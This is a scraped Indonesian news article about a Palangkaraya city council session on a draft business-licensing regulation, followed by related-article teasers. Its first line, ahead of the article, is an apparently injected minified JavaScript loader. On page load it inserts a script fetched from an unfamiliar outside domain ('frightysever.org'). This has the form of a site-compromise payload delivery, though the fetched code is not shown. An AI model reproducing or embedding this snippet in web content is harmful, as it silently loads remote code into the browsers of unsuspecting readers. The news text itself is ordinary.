(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA –DPRD Kota Palangkaraya telah menggelar rapat paripurna dengan agenda penyampaian jawaban Wali Kota terhadap pandangan umum fraksi DPRD terhadap Rancangan Peraturan Daerah (Raperda) tentang penyelenggaraan izin berusaha.
Ketua DPRD Kota Palangkaraya Sigit K Yunianto mengatakan jika sebelumnya masing-masing fraksi telah lebih dulu menyampaikan pandangan umum dalam sidang paripurna yang digelar beberapa hari sebelumnya.
“DPRD dan Pemko saat ini tengah mengejar penyelesaian pembahasan tentang rancangan perda ini. Semoga bisa segera diselesaikan dalam waktu dekat,” ujar Sigit.
Sementara itu Wali Kota Palangkaraya, Fairid Naparin menyampaikan apresiasi atas berbagai respon positif dari seluruh fraksi pendukung DPRD. Ini berarti jika jajaran eksekutif dan legislatif sebagai unsur penyelenggaraan daerah telah memiliki semangat dan tujuan yang sama untuk memberikan yang terbaik bagi pembangunan Kota Palangkaraya.
Baca juga : Tandang ke Persetala, Persebaru Berburu Tiga Poin Penuh
Menjawab pandangan umum yang disampaikan Fraksi PDI Perjuangan dan Golkar, dirinya memberikan apresiasi atas kesediaan kedua fraksi tersebut untuk menerima dan setuju agar raperda tersebut bisa dibahas pada tahapan selanjutnya.
“Kami akan melakukan koordinasi intensif melalui Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu pada perangat daerah terkait, untuk menjamin kelancaran pelayanan publik di bidang perizinan maupun non perizinan,” ujar Fairid.
Menanggapi pemandangan umum Fraksi Partai Demokrat dan Nasdem, ia menegaskan akan terus melakukan akselerasi pembenahan pada pelayanan perizinan dan non perizinan dengan sistem yang berbasis elektronik, sesuai dengan amanat UU Cipta Kerja berikut dengan peraturan pelaksanaannya.
Sedangkan atas pemandangan umum Fraksi PAN, ia sampaikan jika raperda ini sudah dibahas secara internal eksekutif melalui kajian yang komperhensif dengan melibatkan akademisi dari UPR.
Baca juga : 40 Guru Ngaji Terima Santunan dari Baznas HSU
“Kami sangat mengharapkan dukungan dari seluruh fraksi, agar raperda ini bisa diimplementasikan di tengah-tengah masyarakat sesuai dengan semangat UU ciptakerja,” ungkap Fairid.
Lalu menanggapi pemandangan umum Fraksi Gerakan Nurani Bangsa, diakuinya ada beberapa kendala dalam proses perizinan sejauh ini yang dikarenakan kurangnya pemahaman masyarakat terkait pelayanan perizinan secara elektronik.
Tetapi Pemko pun berkomitmen untuk memperkuat sosialisasi dan edukasi sejak 2018 melalui aplikasi Online Single Submission Risk Based Approach (OSS-RBA) dan sistem Pelayanan Terpadu (Simyand). Termasuk memberikan pendampingan secara langsung kepada masyarakat maupun pelaku usaha yang kurang menguasainya.
Sementara terhadap pandangan umum Fraksi Perindo-PSI, dijelaskan Fairid bahwa terkait raperda penyelenggaraan izin berusaha ini adalah bentuk pemberian kepastian hukum bagi pelaku usaha sehingga mampu menumbuhkan perekonomian yang lebih maju, untuk kesejahteraan masyarakat dengan semakin banyak terbukanya lapangan pekerjaan. (Kanalkalimantan.com/tri)
Reporter : tri
Editor : cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.